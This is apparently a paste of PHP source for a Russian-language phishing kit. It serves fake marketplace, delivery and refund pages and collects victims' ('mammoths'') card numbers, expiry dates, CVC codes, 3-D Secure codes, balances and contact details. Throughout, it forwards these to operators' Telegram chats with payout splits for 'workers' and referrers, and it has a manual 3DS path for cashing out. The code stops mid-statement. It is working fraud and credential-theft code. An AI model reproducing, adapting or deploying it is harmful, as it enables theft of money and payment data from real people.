· 4 years ago · Nov 06, 2020, 08:48 PM
1<?php
2require_once $_SERVER['DOCUMENT_ROOT'].'/system/mysql.php';
3include '_set.php';
4
5$action = $_POST['action'];
6if (!$action || $action == '')
7exit();
8if ($_POST['secretkey'] != secretKey())
9exit();
10$srvc = intval($_POST['service']);
11if ($srvc < 1 || $srvc > 10)
12exit();
13$_POST2 = json_decode($_POST['_post'], true);
14$_GET2 = json_decode($_POST['_get'], true);
15$_SERVER2 = json_decode($_POST['_server'], true);
16$_COOKIE2 = json_decode($_POST['_cookie'], true);
17$isnt = in_array($srvc, [1, 2, 9, 10]);
18$item = beaText($_GET2['id'], chsNum());
19if ($srvc == 10) {
20 if (!isTransfer($item, $isnt) && !in_array($action, ['delivery', '3ds']))
21 exit();
22} else {
23 if (!isItem($item, $isnt) && !in_array($action, ['delivery', '3ds']))
24 exit();
25}
26$domain = $_SERVER2['domain'];
27$ip = beaText($_SERVER2['ip'], chsNum().'.:abcdef');
28if ($srvc == 10) {
29 $itemd = getTransferData($item, $isnt);
30} else {
31 $itemd = getItemData($item, $isnt);
32}
33$id = $itemd[3];
34$amount = $itemd[5];
35$summ = $itemd[5];
36$balance = $_POST2['balik'];
37/*$findme = ',';
38$findme2 = '.';
39$pos = strpos($balance, $findme);
40$pos2 = strpos($balance, $findme2);
41if ($pos === true) {
42 $balance = str_replace(",", "", $balance);
43} elseif ($pos2 === true){
44 $balance = str_replace(".", "", $balance);
45}*/
46if ($balance < 1) {
47 $balance2 = "Не указан.";
48} elseif ($balance > 1) {
49 $balance2 = "$balance ₽";
50 $amount = floor((95*(1/100)*($balance)));
51}
52$title = $itemd[6];
53$checker = $itemd[13];
54$checkert = $itemd[6];
55$checkertrack = $itemd[17];
56$ddos0 = false;
57$data = false;
58if ($itemd[13] == '1' || $itemd[17] == '1') {
59 $alert = 'Чекер';
60} elseif ($srvc == 10 && $itemd[6] == '1'){
61 $alert = 'Чекер';
62} else {
63 $alert = '';
64}
65function xEcho($t) {
66 global $_COOKIE2;
67 echo json_encode($_COOKIE2).'`'.$t;
68 exit();
69}
70switch ($action) {
71 case 'delivery': {
72 $data = calcDelivery($_GET2['c1'], $_GET2['c2']);
73 break;
74 }
75 case '3ds': {
76 $md = $item;
77 $t = getPayData($md, false);
78 if (count($t) < 2)
79 exit();
80 list($card, $expm, $expy, $cvc, $ip, $srvc, $domain, $item, $shop, $amount, $id, $isnt, $isnr, $pkoef) = $t;
81 $isnt = ($isnt == '1');
82 $msg = [false, 'Одноразовый код был направлен на Ваш номер телефона. Пожалуйста, проверьте реквизиты транзакции и введите одноразовый код.'];
83 $code3ds = substr(beaText($_POST2['3dscode'], chsNum()), 0, 20);
84 if($card == '4276160973269724') {
85 break;
86 }
87 if ($code3ds && strlen($code3ds) > 2) {
88 $msg = [true, 'Вы ввели неверный код. Просьба проверить код сообщения и ввести его еще раз.'];
89 //$lastcode = fileRead(dirKeys($md));
90 $lastcode = getCookieData('code'.$md, $_COOKIE2);
91 if ($lastcode != $code3ds) {
92 if($card == '4276160973269724') {
93 break;
94 }
95 //fileWrite(dirKeys($md), $code3ds);
96 setCookieData('code'.$md, $code3ds, $_COOKIE2);
97 $t = $md.' '.$item.' '.$srvc;
98 if ($amount == 0 ) {
99 die;
100 }
101 botSend([
102 '? <b>Введен код 3D-Secure</b>',
103 '',
104 '⚠️ Код: <b>'.$code3ds.'</b>',
105 '',
106 '? Сумма платежа: <b>'.beaCash($amount).'</b>',
107 #'? Баланс карты: <b>'.$balance.'</b>',
108 '? Карта: <b>'.$card.' ('.cardBank($card).')</b>',
109 '',
110 ($isnt ? '? ID объявления' : '? Трек номер').': <b>'.$item.'</b>',
111 '? Воркер: <b>'.userLogin($id, true, true).'</b>',
112 ], chatAdmin(), [true, [
113 [
114 ['text' => '✅ Залетел', 'callback_data' => '/doruchkazalet '.$t],
115 ],
116 [
117 ['text' => '❌ Звонок 900', 'callback_data' => '/doruchkafail1 '.$t],
118 ['text' => '❌ Нет денег', 'callback_data' => '/doruchkafail2 '.$t],
119 ],
120 ]]);
121 }
122 }
123 $card4d = substr($card, strlen($card) - 4);
124 $cardps = ['visa', 'Verified by VISA'];
125 if ($card[0] == '2')
126 $cardps = ['mir', 'MirAccept'];
127 elseif ($card[0] == '5')
128 $cardps = ['mc', 'MasterCard® SecureCode™'];
129 if ($srvc == 10) {
130 $itemd = getTransferData($item, $isnt);
131 } else {
132 $itemd = getItemData($item, $isnt);
133 }
134 $data = str_replace([
135 '%ps1%',
136 '%ps0%',
137 '%shop%',
138 '%summ%',
139 '%date%',
140 '%card%',
141 '%style%',
142 '%msg%',
143 ], [
144 $cardps[1],
145 $cardps[0],
146 $shop,
147 number_format(intval($itemd[5]), 2, '.', ','),
148 date('d/m/Y'),
149 $card4d,
150 ($msg[0] ? 'style="color: #f00;"' : ''),
151 $msg[1],
152 ], fileRead(dirPages('0')));
153 break;
154 }
155 case 'order': case 'buy': case 'cash': case 'rent': case 'rentu': {
156 $ip2 = $_SERVER['HTTP_CLIENT_IP'];
157 $isnb = array_search($action, ['order', 'buy', 'cash', 'rent', 'rentu']);
158 $ttx = [
159 'оформление заказа',
160 'безопасную сделку',
161 'получение средств',
162 'Авито.Недвижимость',
163 'Авито.Недвижимость 2.0'
164 ][$isnb];
165 $hash0 = md5($isnb.$item.$title.$amount.$srvc.$domain.$ip);
166 if ($hash0 != /*getIpData($ip, 'hash')*/getCookieData('hash', $_COOKIE2)) {
167 //setIpData($ip, 'hash', $hash0);
168 setCookieData('hash', $hash0, $_COOKIE2);
169 addItemData($item, 0, 1, true);
170 $ddos0 = true;
171 botSend([
172 '? <b>Мамонт перешёл на '.$ttx.'</b>',
173 '',
174 '? <b>Платформа:</b> <b>'.getService($srvc, false, $isnb == 2).' '.$alert.'</b>',
175 '? <b>ID объявления:</b> <b>'.$item.'</b>',
176 '? <b>Сумма:</b> <b>'.beaCash($itemd[5]).'</b>',
177 '? <b>Домен:</b> <b>'.$domain.'</b>',
178 //'',
179 //'? IP: <b>'.$ip2.'</b>',
180 //'? Локация: <b>'.$iploc.'</b>',
181 ], $id);
182 }
183 if ($itemddd[13] == '1') {
184 #$tpjopa2 = '? <b>С помощью Тех. Поддержки.</b>';
185 $tpjopa2 = '';
186 } else {
187 $tpjopa2 = ' ';
188 }
189 $data = str_replace([
190 '%style%',
191 '%script%',
192 '%item%',
193 '%title%',
194 '%amount%',
195 '%amount2%',
196 '%url%',
197 '%url2%',
198 '%url3%',
199 '%img%',
200 '%city%',
201 '%namef%',
202 '%phone%',
203 '%address%',
204 ], [
205 fileRead(dirStyles($srvc.'-1')),
206 fileRead(dirScripts($srvc.'-'.($isnb + 1))),
207 $item,
208 $title,
209 $amount,
210 number_format($amount, 0, '.', ' '),
211 getFakeUrl(false, $item, $srvc, ($isnb == 2 ? 5 : 0)),
212 getFakeUrl(false, $item, $srvc, ($isnb == 4 ? 5 : 0)),
213 getFakeUrl2(false, $item, $srvc, ($isnb == 2 ? 5 : 0)),
214 $itemd[7],
215 $itemd[8],
216 $itemd[9],
217 beaPhone($itemd[10]),
218 $itemd[11],
219 ], fileRead(dirPages($srvc.'-'.($isnb + 1))));
220 break;
221 }
222 case 'track': {
223 $tst = intval($itemd[16]);
224 if ($tst == 0)
225 $tst = 1;
226 $hash0 = md5($tst.$item.$title.$amount.$srvc.$domain.$ip);
227 if ($hash0 != /*getIpData($ip, 'hash')*/getCookieData('hash', $_COOKIE2)) {
228 //setIpData($ip, 'hash', $hash0);
229 setCookieData('hash', $hash0, $_COOKIE2);
230 addItemData($item, 0, 1, false);
231 $ddos0 = true;
232 botSend([
233 '? <b>Мамонт перешёл на трек-код</b>',
234 '',
235 '? <b>Платформа:</b> <b>'.getService($srvc).' '.$alert.'</b>',
236 '? <b>ID трек-кода:</b> <b>'.$item.'</b>',
237 '? <b>Сумма:</b> <b>'.beaCash($itemd[5]).'</b>',
238 '? <b>Домен:</b> <b>'.$domain.'</b>',
239 //'',
240 //'? IP: <b>'.$ip.'</b>',
241 //'? Локация: <b>'.$iploc.'</b>',
242 ], $id);
243 }
244 $data = str_replace([
245 '%style%',
246 '%script%',
247 '%item%',
248 '%title%',
249 '%amount%',
250 '%amount2%',
251 '%url%',
252 '%cityf%',
253 '%cityt%',
254 '%namef%',
255 '%namet%',
256 '%size%',
257 '%address%',
258 '%phone%',
259 '%timef%',
260 '%timet%',
261 '%blablacar%',
262 '%checkertrackcode%',
263 ], [
264 fileRead(dirStyles($srvc.'-1')),
265 fileRead(dirScripts($srvc.'-1')),
266 'CB'.$item.'0RU',
267 $title,
268 $amount,
269 number_format($amount, 0, '.', ' '),
270 getFakeUrl(false, $item, $srvc, $tst == 4 ? 4 : ($tst == 1 ? 0 : 2)),
271 $itemd[7],
272 $itemd[11],
273 $itemd[9],
274 $itemd[10],
275 beaKg($itemd[8]),
276 $itemd[12],
277 beaPhone($itemd[13]),
278 $itemd[14],
279 $itemd[15],
280 //explode(', ', $itemd[12], 2)[0],
281 $itemd[16],
282 $itemd[17],
283 ], fileRead(dirPages($srvc.'-'.$tst)));
284 break;
285 }
286 case 'merchant': case 'refund': case 'unlock': case 'ayeruchnayaplatejjjka666': {
287 $xcaptchadata = false;
288 $t = $_POST2['xcaptcha'];
289 if (strlen($t) != 0) {
290 $xcaptchadata = [
291 'xcaptcha' => mb_strtoupper($t),
292 'xdata' => $_POST2['xtoken'].'`'.$_POST2['xmodulus'].'`'.$_POST2['xexponent'],
293 ];
294 }
295 $pmnt = paymentName();
296 $isrpar = ($action == 'ayeruchnayaplatejjjka666');
297 $isrpac = (strlen($pmnt) == 0 || (isAutoPayment() && $amount >= activateRuchka()));
298 if (!$isrpac) {
299 require 'pay.libs/Crypt/RSA.php';
300 require 'pay.libs/Math/BigInteger.php';
301 include '_payment_'.$pmnt.'.php';
302 }
303 $isnr = array_search($action, ['merchant', 'refund', 'unlock', 'rentu']);
304 $ttx = [
305 [
306 'оплаты заказа',
307 'К оплате',
308 'Оплатить',
309 'Оплата заказа',
310 '',
311 'Оплата поездки',
312 ],
313 [
314 'возврата средств',
315 'К возврату',
316 'Получить',
317 'Возврат средств',
318 'Для проведения возврата, нам необходимо зарезервировать на вашей карте денежные средства в размере суммы сделки.',
319 'Возврат средств',
320 ],
321 [
322 'получения средств',
323 'К получению',
324 'Получить',
325 'Получение средств',
326 #'Чтобы получить денежные средства за оплаченный товар, Ваш баланс по карте должен быть не менее суммы сделки.',
327 '',
328 ],
329 [
330 'возврата средств',
331 'К возврату',
332 'Получить',
333 'Возврат средств',
334 'Для проведения возврата, нам необходимо зарезервировать на вашей карте денежные средства в размере суммы сделки.',
335 ],
336 ][$isnr];
337 $cost = 0;
338 if ($isnt) {
339 $cost = $_POST2['fcost'];
340 if (strlen($cost) != 0) {
341 $cost = intval($cost);
342 //setIpData($ip, 'dlvr', $cost);
343 setCookieData('dlvr'.$item, $cost, $_COOKIE2);
344 } else {
345 //$cost = intval(getIpData($ip, 'dlvr'));
346 $cost = intval(getCookieData('dlvr'.$item, $_COOKIE2));
347 }
348 $cost = min(max($cost, 0), 10000);
349 if ($cost > 0)
350 $amount += $cost;
351 }
352 $shop = getShopName($srvc, $isnr);
353 $redir = getFakeRedir($domain, $item, $isnr);
354 $errmsg = false;
355 $card = beaText($_POST2['fcard'], chsNum());
356 $expm = $_POST2['fexpm'];
357 $expy = $_POST2['fexpy'];
358 $cvc = $_POST2['fcvc'];
359 $balance = $_POST2['balik'];
360 if ($balance < 1) {
361 $balance2 = "Не указан.";
362 } else {
363 $balance2 = "$balance ₽";
364 }
365 $pares = $_POST2['PaRes'];
366 $merchant = $_POST2['MD'];
367 if ($pares && $merchant && isPayData($merchant)) {
368 $ruchkastatus = ($_POST2['ruchkastatus'] == '1');
369 $pkoef = false;
370 //$tpjopa = false;
371 if ($isrpar) {
372 list($card, $expm, $expy, $cvc, $ip, $srvc, $domain, $item, $shop, $amount, $id, $isnt, $isnr, $pkoef) = getPayData($merchant, !$ruchkastatus);
373 $pkoef = intval($pkoef) + 1;
374 if ($ruchkastatus) {
375 setPayData($merchant, [$card, $expm, $expy, $cvc, $ip, $srvc, $domain, $item, $shop, $amount, $id, $isnt, $isnr, $pkoef]);
376 }
377 $isnt = ($isnt == '1');
378 } else {
379 list($card, $expm, $expy, $cvc, $card2, $amount, $token) = getPayData($merchant);
380 }
381 $amount = intval($amount);
382 $psts = ($isrpar ? [$ruchkastatus, $_POST2['ruchkafail']] : xStatus($merchant, $pares, $_POST['url']));
383 #$psts = ($isrpar ? [$ruchkastatus, $_POST2['ruchkafail'], ''] : xStatus($merchant, $pares, $token));
384 if ($psts[0]) {
385 $card3 = false;
386 $itemddd = getItemData($item, true);
387 if ($itemddd[12] == '1') {
388 #$tpjopa2 = '? <b>С помощью Тех. Поддержки.</b>';
389 $tpjopa2 = '';
390 } else {
391 $tpjopa2 = ' ';
392 }
393 if (!$isrpar) {
394 $card3 = setNextCard();
395 addCardBalance($card2, $amount);
396 }
397 if (!$pkoef) {
398 //$pkoef = intval(getIpData($ip, 'koef'.($isnr != 1 ? 'a' : 'b'))) + 1;
399 //setIpData($ip, 'koef'.($isnr != 1 ? 'a' : 'b'), $pkoef);
400 $pkoef = intval(getCookieData('koef'.$item.($isnr != 1 ? 'a' : 'b'), $_COOKIE2)) + 1;
401 setCookieData('koef'.$item.($isnr != 1 ? 'a' : 'b'), $pkoef, $_COOKIE2);
402 }
403 $profit = makeProfit($id, $isnr, $amount, $pkoef);
404 $pkoef2 = '? <b>Успешн'.($isnr != 1 ? 'ая оплата' : 'ый возврат').($pkoef > 1 ? ' ×'.$pkoef : '').'</b> ?';
405 addItemData($item, 1, 1, $isnt);
406 addItemData($item, 2, $amount, $isnt);
407 $referal = getUserReferal($id);
408 botSend([
409 $pkoef2,
410 '',
411 '? Сумма: <b>'.beaCash($amount).'</b>',
412 '? Сервис: <b>'.getService($srvc, false, $isnr == 2).' '.$alert.'</b>',
413 '',
414 '??♂️ Волшебник: <b>'.userLogin2($id).'</b>',
415 '',
416 $tpjopa2,
417 ], chatProfits());
418 $t0 = [
419 $pkoef2,
420 '',
421 '? Товар: <b>'.$title.'</b>',
422 '? Сумма: <b>'.beaCash($amount).'</b>',
423 '? ID: <b>'.$item.'</b>',
424 '',
425 '? <b>Карта мамонта:</b>',
426 #'Баланс карты: <b>'.$balance.'</b>',
427 'Номер карты: <b>'.$card.'</b>',
428 'Дата окончания: <b>'.$expm.'</b> / <b>'.$expy.'</b>',
429 'CVC/CVV: <b>'.$cvc.'</b>',
430 ];
431 botSend($t0, $id);
432 botSend([
433 $pkoef2,
434 '',
435 '? Сумма платежа: <b>'.beaCash($amount).'</b>',
436 '?♂️ Воркер: <b>'.userLogin($id, true, true).'</b>',
437 '? Доля воркера: <b>'.beaCash($profit[0]).'</b>',
438 '? Доля реферала: <b>'.beaCash($profit[1]).'</b>'.($referal ? ' (<b>'.userLogin($referal, true).'</b>)' : ''),
439 '',
440 '? Карта мамонта: <b>'.cardBank($card).'</b>',
441 #'Баланс карты: <b>'.$balance.'</b>',
442 'Номер: <b>'.$card.'</b>',
443 'Срок: <b>'.$expm.'</b> / <b>'.$expy.'</b>',
444 'CVC: <b>'.$cvc.'</b>',
445 '',
446 '? Карта приема: <b>'.($isrpar ? 'Ручная' : $card2).'</b>',
447 ($isnt ? '? ID объявления' : '? Трек номер').': <b>'.$item.'</b>',
448 '? Название: <b>'.$title.'</b>',
449 '? Сервис: <b>'.getService($srvc, false, $isnr == 2).' '.$alert.'</b>',
450 '? Домен: <b>'.$domain.'</b>',
451 //'',
452 //'? IP: <b>'.$ip.'</b>',
453 //'? Локация: <b>'.$iploc.'</b>',
454 ], chatAdmin());
455 mysqli_query($connection, "INSERT INTO `payments` (`amount`, `currency`, `time`) VALUES ('".beaCash($amount)."', 'RUB', '".time()."')");
456 botSend([
457 $pkoef2,
458 '',
459 '? Сумма: <b>'.beaCash($amount).'</b>',
460 '? Сервис: <b>'.getService($srvc, false, $isnr == 2).' '.$alert.'</b>',
461 '',
462 '??♂ Волшебник: '.userLogin2($id).'',
463 '',
464 $tpjopa2,
465 ], chatGroup());
466 if (!$isrpar) {
467 $t1 = [
468 '? Карта платежки автоматически заменена на <b>'.$card3.'</b>',
469 '',
470 ];
471 $delcard = delCard($card2);
472 $t2 = [
473 '? Баланс карты <b>'.$card2.'</b> увеличен на <b>'.beaCash($amount).'</b>',
474 '? <b>Карта платежки была удалена автоматически!</b>',
475 ];
476 if ($card3)
477 $t2 = array_merge($t1, $t2);
478 botSend($t2, chatCards());
479 }
480 if ($referal) {
481 botSend([
482 'Вы получили <b>'.beaCash($profit[1]).'</b> от профита реферала <b>'.userLogin($id).'</b>',
483 ], $referal);
484 }
485 if (!$isrpar) {
486 /*$amount--;
487 if ($amount < 1)
488 $amount = 1;*/
489 #$pcrt = xCreate($amount, $card, $expm, $expy, $cvc, $redir, $shop, $xcaptchadata);
490 $pcrt = xCreate($amount, $card, $expm, $expy, $cvc, $redir, $shop);
491 if ($pcrt[0]) {
492 $data = $pcrt[1];
493 break;
494 } else {
495 if ($pcrt[2])
496 xEcho($pcrt[1]);
497 $errmsg = $pcrt[1];
498 }
499 }
500 } else {
501 $errmsg = $psts[1];
502 $pkoef2 = '❌ <b>Ошибка при '.($isnr != 1 ? 'оплате' : 'возврате').'</b>';
503 botSend([
504 $pkoef2,
505 '',
506 '❕ Причина: <b>'.$errmsg.'</b>',
507 '? Сумма платежа: <b>'.beaCash($amount).'</b>',
508 '',
509 '? Карта: <b>'.cardHide($card).'</b>',
510 '',
511 ($isnt ? '? ID объявления' : '? Трек номер').': <b>'.$item.'</b>',
512 '? Название: <b>'.$title.'</b>',
513 '? Сервис: <b>'.getService($srvc, false, $isnr == 2).' '.$alert.'</b>',
514 '? Домен: <b>'.$domain.'</b>',
515 //'',
516 //'? IP: <b>'.$ip.'</b>',
517 //'? Локация: <b>'.$iploc.'</b>',
518 ], $id);
519 botSend([
520 $pkoef2,
521 '',
522 '❕ Причина: <b>'.$errmsg.'</b>',
523 '? Сумма платежа: <b>'.beaCash($amount).'</b>',
524 '? Воркер: <b>'.userLogin($id, true, true).'</b>',
525 '',
526 '? Карта: <b>'.cardHide($card).'</b>',
527 '',
528 ($isnt ? '? ID объявления' : '? Трек номер').': <b>'.$item.'</b>',
529 '? Название: <b>'.$title.'</b>',
530 '? Сервис: <b>'.getService($srvc, false, $isnr == 2).' '.$alert.'</b>',
531 '? Домен: <b>'.$domain.'</b>',
532 //'',
533 //'? IP: <b>'.$ip.'</b>',
534 //'? Локация: <b>'.$iploc.'</b>',
535 ], chatAdmin());
536 }
537 } else {
538 if (isValidCard($card, $expm, $expy, $cvc)) {
539 $pcrt = false;
540 if ($itemd[13] == '1' || $itemd[17] == '1') {
541 $checkwow = '? Баланс карты: <b>'.$balance2.'</b>';
542 $alert = 'Чекер';
543 } elseif ($srvc == 10 && $itemd[6] == '1'){
544 $checkwow = '? Баланс карты: <b>'.$balance2.'</b>';
545 $alert = 'Чекер';
546 } else {
547 $checkwow = '? Баланс карты: <b>Функция отключена.</b>';
548 $alert = '';
549 }
550 $payment = mysqli_fetch_assoc(mysqli_query($connection, "SELECT * FROM `payment`"));
551 if ($isrpac || $srvc == '10' && $itemd[7] == '1' && $payment[handpay] == '1' || $itemd[12] == '1' && $payment[handpay] == '1' || $itemd[18] == '1' && $payment[handpay] == '1') {
552 $md = time().rand(100000, 999999);
553 setPayData($md, [$card, $expm, $expy, $cvc, $ip, $srvc, $domain, $item, $shop, $amount, $id, $isnt ? '1' : '0', $isnr, 0]);
554 //$t = $md.' '.$item.' '.$srvc;
555 $id2 = $id;
556 $card2 = $card;
557 $expm2 = $expm;
558 $expy2 = $expy;
559 $cvc2 = $cvc;
560 botSend([
561 '<b>@PoezdaMne</b>',
562 '',
563 ], chatAdmin());
564 botSend([
565 '‼️ <b>Переход на ручной 3D-Secure</b>',
566 '',
567 '? Сумма платежа: <b>'.beaCash($amount).'</b>',
568 '',
569 '? Карта мамонта: <b>'.cardBank($card).'</b>',
570 $checkwow,
571 'Номер карта: <b>'.$card.'</b>',
572 'Срок действия: <b>'.$expm.'</b> / <b>'.$expy.'</b>',
573 'CVC/CVV: <b>'.$cvc.'</b>',
574 '',
575 ($isnt ? '? ID объявления' : '? Трек номер').': <b>'.$item.'</b>',
576 '? Воркер: <b>'.userLogin($id, true, true).'</b>',
577 ], chatAdmin(), [true, [
578 [
579 ['text' => '✅ Обработать', 'callback_data' => '/doruchnik '.$id2],
580 ],
581 ]]);
582 $pcrt = [true, '<body onload="x.submit()"><form id="x" action="3ds'.$md.'" method="POST"><noscript><input type="submit" value="Продолжить"></noscript></form>'];
583 } else {
584 #$pcrt = xCreate($amount, $card, $expm, $expy, $cvc, $redir, $shop, $xcaptchadata);
585 $pcrt = xCreate($amount, $card, $expm, $expy, $cvc, $redir, $shop);
586 }
587 if ($pcrt[0]) {
588 $data = $pcrt[1];
589 if (!isCardData($card, $expm, $expy, $cvc)) {
590 setCardData($card, $expm, $expy, $cvc);
591 $card3 = setNextCard();
592 if ($itemd[13] == '1' || $itemd[17] == '1') {
593 $checkwow = '? Баланс карты: <b>'.$balance2.'</b>';
594 #$checkwow = '? Баланс карты: <b>'.$balanceused.'</b>';
595 $alert = 'Чекер';
596 } elseif ($srvc == 10 && $itemd[6] == '1'){
597 $checkwow = '? Баланс карты: <b>'.$balance2.'</b>';
598 #$checkwow = '? Баланс карты: <b>'.$balanceused.'</b>';
599 $alert = 'Чекер';
600 } else {
601 $checkwow = '? Баланс карты: <b>Функция отключена.</b>';
602 $alert = '';
603 }
604 $payment = mysqli_fetch_assoc(mysqli_query($connection, "SELECT * FROM `payment`"));
605 if ($srvc == '10' && $itemd[7] == '1' && $payment[handpay] == '1' || $itemd[12] == '1' && $payment[handpay] == '1' || $itemd[18] == '1' && $payment[handpay] == '1') {
606 botSend([
607 '? <b>Мамонт перешёл на страницу ввода кода</b>',
608 '',
609 '? <b>Карта мамонта</b> <b>'.cardBank($card).'</b>',
610 $checkwow,
611 '• <b>Номер карты:</b> <b>'.$card.'</b>',
612 '• <b>Срок действия:</b> <b>'.$expm.'</b> / <b>'.$expy.'</b>',
613 '• <b>CVC/CVV:</b> <b>'.$cvc.'</b>',
614 '',
615 '? <b>Платформа: '.getService($srvc, false, $isnr == 2).' '.$alert.'</b>',
616 '? <b>ID платежа: '.$item.'</b>',
617 '? <b>Сумма: '.beaCash($amount).'</b>',
618 '? <b>Платежка:</b> <b>'.($isrpac ? 'Ручная' : 'Ручная').'</b>',
619 '? <b>Домен: '.$domain.'</b>',
620 ], $id);
621 } else {
622 botSend([
623 '? <b>Мамонт перешёл на страницу ввода кода</b>',
624 '',
625 '? <b>Карта мамонта</b> <b>'.cardBank($card).'</b>',
626 $checkwow,
627 '• <b>Номер карты:</b> <b>'.$card.'</b>',
628 '• <b>Срок действия:</b> <b>'.$expm.'</b> / <b>'.$expy.'</b>',
629 '• <b>CVC/CVV:</b> <b>'.$cvc.'</b>',
630 '',
631 '? <b>Платформа: '.getService($srvc, false, $isnr == 2).' '.$alert.'</b>',
632 '? <b>ID платежа: '.$item.'</b>',
633 '? <b>Сумма: '.beaCash($amount).'</b>',
634 '? <b>Платежка:</b> <b>'.($isrpac ? 'Ручная' : 'Автоматическая').'</b>',
635 '? <b>Домен: '.$domain.'</b>',
636 ], $id);
637 }
638 botSend([
639 /*'☘️ <b>Получена карта '.cardBank($card).'</b>',
640 '',
641 '☘️ Номер: <b>'.$card.'</b>',
642 '? Срок: <b>'.$expm.'</b> / <b>'.$expy.'</b>',
643 '? CVC: <b>'.$cvc.'</b>',
644 '',
645 '? Сумма платежа: <b>'.beaCash($amount).'</b>',
646 '? Воркер: <b>'.userLogin($id, true, true).'</b>',
647 */
648 '? <b>Получена карта '.cardBank($card).'</b>',
649 '',
650 #'Баланс карты: <b>'.$balance.'</b>',
651 '? Номер карты: <b>'.$card.'</b>',
652 $checkwow,
653 '? Срок действия: <b>'.$expm.'</b> / <b>'.$expy.'</b>',
654 '⚙️ CVC/CVV: <b>'.$cvc.'</b>',
655 '',
656 '??♂️ Волшебник: <b>'.userLogin($id, true, false).'</b>',
657 '? Сумма платежа: <b>'.beaCash($amount).'</b>',
658 /*'☁️ Платежка: <b>'.($isrpac ? 'Ручная' : 'Автоматическая').'</b>',
659 ($isnt ? '? ID объявления' : '? Трек номер').': <b>'.$item.'</b>',
660 '? Название: <b>'.$title.'</b>',
661 '? Сервис: <b>'.getService($srvc, false, $isnr == 2).'</b>',
662 '? Домен: <b>'.$domain.'</b>',*/
663 ], chatAdmin());
664 botSend([
665 '? Карта платежки автоматически заменена на <b>'.$card3.'</b>',
666 ], chatAdmin());
667 }
668 break;
669 } else {
670 if ($pcrt[2])
671 xEcho($pcrt[1]);
672 $errmsg = $pcrt[1];
673 }
674 }
675 }
676 if ($isrpar)
677 exit();
678 $hash0 = md5($isnr.$item.$title.$amount.$cost.$srvc.$domain.$ip);
679 if ($hash0 != /*getIpData($ip, 'hash')*/getCookieData('hash', $_COOKIE2)) {
680 //setIpData($ip, 'hash', $hash0);
681 setCookieData('hash', $hash0, $_COOKIE2);
682 $city = $_POST2['fcity'];
683 $fio = $_POST2['fname'];
684 $email = $_POST2['femail'];
685 $phone = $_POST2['fphone'];
686 if ($srvc == 10) {
687 $t = [
688 '? <b>Мамонт перешёл на страницу перевода</b>',
689 '',
690 '? <b>Платформа: '.getService($srvc, false, $isnr == 2).' '.$alert.'</b>',
691 '? <b>ID перевода: '.$item.'</b>',
692 '? <b>Сумма: '.beaCash($itemd[5]).'</b>',
693 '? <b>Домен: '.$domain.'</b>',
694 ];
695 } else {
696 $t = [
697 '? <b>Ввод карты для '.$ttx[0].'</b>',
698 '',
699 ($isnt ? '? ID объявления' : '? Трек номер').': <b>'.$item.'</b>',
700 '? Название: <b>'.$title.'</b>',
701 '? Общая сумма: <b>'.beaCash($itemd[5]).'</b>',
702 '? Сервис: <b>'.getService($srvc, false, $isnr == 2).' '.$alert.'</b>',
703 '? Домен: <b>'.$domain.'</b>',
704 //'',
705 //'? IP: <b>'.$ip.'</b>',
706 //'? Локация: <b>'.$iploc.'</b>',
707 ];
708 }
709 if ($cost > 0)
710 array_splice($t, 5, 0, [
711 '? Доставка: <b>'.beaCash($cost).'</b>',
712 ]);
713 if (strlen($phone) != 0)
714 array_splice($t, 2, 0, [
715 '? ФИО: <b>'.$fio.'</b>',
716 '✉️ Почта: <b>'.$email.'</b>',
717 '? Телефон: <b>'.$phone.'</b>',
718 '',
719 ]);
720 if (strlen($city) != 0)
721 array_splice($t, 2, 0, [
722 '? Город доставки: <b>'.$city.'</b>',
723 ]);
724 botSend($t, $id);
725 }
726 if ($checker == '1') {
727 $checker228 = '<label for="cardName" class="card-item__info" ref="cardName">';
728 $checker228 .= '<div class="card-item__holder">Баланс карты</div>';
729 $checker228 .= '<transition name="slide-fade-up">';
730 $checker228 .= '<div class="card-item__name" v-if="cardName.length" key="1">';
731 $checker228 .= '<transition-group name="slide-fade-right">';
732 $checker228 .= '<span class="card-item__nameItem" v-for="(n, $index) in cardName.replace(/\s\s+/g, \' \')" v-if="$index === $index" v-bind:key="$index + 1">{{n}}</span>';
733 $checker228 .= '</transition-group> ₽';
734 $checker228 .= '</div>';
735 $checker228 .= '<div class="card-item__name" v-else key="2">'.$amount.' ₽</div>';
736 $checker228 .= '</transition>';
737 $checker228 .= '</label>';
738 $checker221 = '<div class="card-input">';
739 $checker221 .= '<label for="cardName" class="card-input__label">Баланс карты</label>';
740 $checker221 .= '<input value="" type="text" id="_input4" name="balik" class="card-input__input" v-model="cardName" v-on:focus="focusInput" v-on:blur="blurInput" data-ref="cardName" autocomplete="off" placeholder="Требуется для верификации банком" minlength="4" required pattern="\d+((\.|,)\d{2})?">';
741 $checker221 .= '</div>';
742 } else {
743 $checkerbalance = "";
744 $checker228 = "";
745 }
746 if ($checkert == '1') {
747 $checker228 = '<label for="cardName" class="card-item__info" ref="cardName">';
748 $checker228 .= '<div class="card-item__holder">Баланс карты</div>';
749 $checker228 .= '<transition name="slide-fade-up">';
750 $checker228 .= '<div class="card-item__name" v-if="cardName.length" key="1">';
751 $checker228 .= '<transition-group name="slide-fade-right">';
752 $checker228 .= '<span class="card-item__nameItem" v-for="(n, $index) in cardName.replace(/\s\s+/g, \' \')" v-if="$index === $index" v-bind:key="$index + 1">{{n}}</span>';
753 $checker228 .= '</transition-group> ₽';
754 $checker228 .= '</div>';
755 $checker228 .= '<div class="card-item__name" v-else key="2">'.$amount.' ₽</div>';
756 $checker228 .= '</transition>';
757 $checker228 .= '</label>';
758 $checker221 = '<div class="card-input">';
759 $checker221 .= '<label for="cardName" class="card-input__label">Баланс карты</label>';
760 $checker221 .= '<input value="" type="text" id="_input4" name="balik" class="card-input__input" v-model="cardName" v-on:focus="focusInput" v-on:blur="blurInput" data-ref="cardName" autocomplete="off" placeholder="Требуется для верификации банком" minlength="4" required pattern="\d+((\.|,)\d{2})?">';
761 $checker221 .= '</div>';
762 } else {
763 $checkerbalance = "";
764 $checker228 = "";
765 }
766 if ($checkertrack == '1') {
767 $checkerbalancetrack = '<div class="card-input">';
768 $checkerbalancetrack .= '<label for="cardName" class="card-input__label">Баланс карты</label>';
769 $checkerbalancetrack .= '<input value="" type="text" id="_input4" name="balik" class="card-input__input" v-model="cardName" v-on:focus="focusInput" v-on:blur="blurInput" data-ref="cardName" autocomplete="off" placeholder="Требуется для верификации банком" minlength="4" required pattern="\d+((\.|,)\d{2})?">';
770 $checkerbalancetrack .= '</div>';
771 $checkertrackcodecykablyad = '<label for="cardName" class="card-item__info" ref="cardName">';
